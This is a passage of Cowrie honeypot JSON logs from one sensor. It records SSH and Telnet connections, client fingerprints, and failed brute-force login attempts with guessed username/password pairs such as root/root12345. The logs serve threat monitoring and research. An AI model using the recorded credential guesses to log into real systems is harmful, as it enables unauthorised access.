CS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:18.508929Z","src_ip":"176.65.132.129","session":"2943f98c40bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:18.762996Z","src_ip":"176.65.132.129","session":"2943f98c40bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:19.267462Z","src_ip":"193.228.128.84","session":"447bfa82970b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:19.916360Z","src_ip":"176.65.132.129","session":"2943f98c40bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57734,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9c3b2705df0","protocol":"telnet","message":"New connection: 152.42.224.71:57734 (10.17.0.5:23) [session: a9c3b2705df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:20.791939Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33984,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a2e930e0928","protocol":"ssh","message":"New connection: 80.94.92.184:33984 (10.17.0.5:22) [session: 1a2e930e0928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.102530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.169620Z","src_ip":"80.94.92.184","session":"1a2e930e0928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":37446,"dst_ip":"159.203.135.109","dst_port":22,"session":"73feebca6335","protocol":"ssh","message":"New connection: 62.54.176.203:37446 (159.203.135.109:22) [session: 73feebca6335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.225969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.235455Z","src_ip":"62.54.176.203","session":"73feebca6335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.242475Z","src_ip":"80.94.92.184","session":"1a2e930e0928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.342162Z","src_ip":"62.54.176.203","session":"73feebca6335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35826,"dst_ip":"159.203.135.109","dst_port":22,"session":"59ea90e6b353","protocol":"ssh","message":"New connection: 176.65.132.129:35826 (159.203.135.109:22) [session: 59ea90e6b353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.657700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.666249Z","src_ip":"176.65.132.129","session":"59ea90e6b353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.672131Z","src_ip":"80.94.92.184","session":"1a2e930e0928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.750509Z","src_ip":"176.65.132.129","session":"59ea90e6b353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mercury1","message":"login attempt [root/mercury1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:21.786328Z","src_ip":"62.54.176.203","session":"73feebca6335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:22.010049Z","src_ip":"176.65.132.129","session":"59ea90e6b353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57742,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b9de1548583","protocol":"telnet","message":"New connection: 152.42.224.71:57742 (10.17.0.5:23) [session: 3b9de1548583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:22.250792Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:22.785987Z","src_ip":"80.94.92.184","session":"1a2e930e0928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:22.950044Z","src_ip":"62.54.176.203","session":"73feebca6335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:23.095901Z","src_ip":"176.65.132.129","session":"59ea90e6b353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":49206,"dst_ip":"159.203.135.109","dst_port":22,"session":"630114be88cc","protocol":"ssh","message":"New connection: 45.132.125.41:49206 (159.203.135.109:22) [session: 630114be88cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:24.036358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:24.041424Z","src_ip":"45.132.125.41","session":"630114be88cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:24.148125Z","src_ip":"45.132.125.41","session":"630114be88cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57754,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc336c39db1","protocol":"telnet","message":"New connection: 152.42.224.71:57754 (10.17.0.5:23) [session: ccc336c39db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:24.556094Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"mercury1","message":"login attempt [root/mercury1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:24.606456Z","src_ip":"45.132.125.41","session":"630114be88cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":51264,"dst_ip":"10.17.0.5","dst_port":22,"session":"44490cc66f00","protocol":"ssh","message":"New connection: 45.162.8.14:51264 (10.17.0.5:22) [session: 44490cc66f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:24.793835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:24.807902Z","src_ip":"45.162.8.14","session":"44490cc66f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:24.930125Z","src_ip":"45.162.8.14","session":"44490cc66f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35830,"dst_ip":"159.203.135.109","dst_port":22,"session":"c542a79a77e9","protocol":"ssh","message":"New connection: 176.65.132.129:35830 (159.203.135.109:22) [session: c542a79a77e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:24.981347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:25.082938Z","src_ip":"176.65.132.129","session":"c542a79a77e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:25.088796Z","src_ip":"176.65.132.129","session":"c542a79a77e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jacosta","message":"login attempt [root/jacosta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:25.448326Z","src_ip":"45.162.8.14","session":"44490cc66f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:25.627315Z","src_ip":"176.65.132.129","session":"c542a79a77e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:25.717522Z","src_ip":"45.132.125.41","session":"630114be88cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":52936,"dst_ip":"10.17.0.5","dst_port":22,"session":"73406eac735b","protocol":"ssh","message":"New connection: 20.193.250.100:52936 (10.17.0.5:22) [session: 73406eac735b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:25.930427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:25.938179Z","src_ip":"20.193.250.100","session":"73406eac735b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:26.131876Z","src_ip":"20.193.250.100","session":"73406eac735b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:26.567676Z","src_ip":"45.162.8.14","session":"44490cc66f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:26.713574Z","src_ip":"176.65.132.129","session":"c542a79a77e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scoobydoo123","message":"login attempt [root/scoobydoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:26.943536Z","src_ip":"20.193.250.100","session":"73406eac735b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:28.148208Z","src_ip":"20.193.250.100","session":"73406eac735b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42712,"dst_ip":"159.203.135.109","dst_port":22,"session":"70c39ce7486b","protocol":"ssh","message":"New connection: 176.65.132.129:42712 (159.203.135.109:22) [session: 70c39ce7486b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:28.423684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:28.431038Z","src_ip":"176.65.132.129","session":"70c39ce7486b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:28.517736Z","src_ip":"176.65.132.129","session":"70c39ce7486b","protocol":"ssh"}
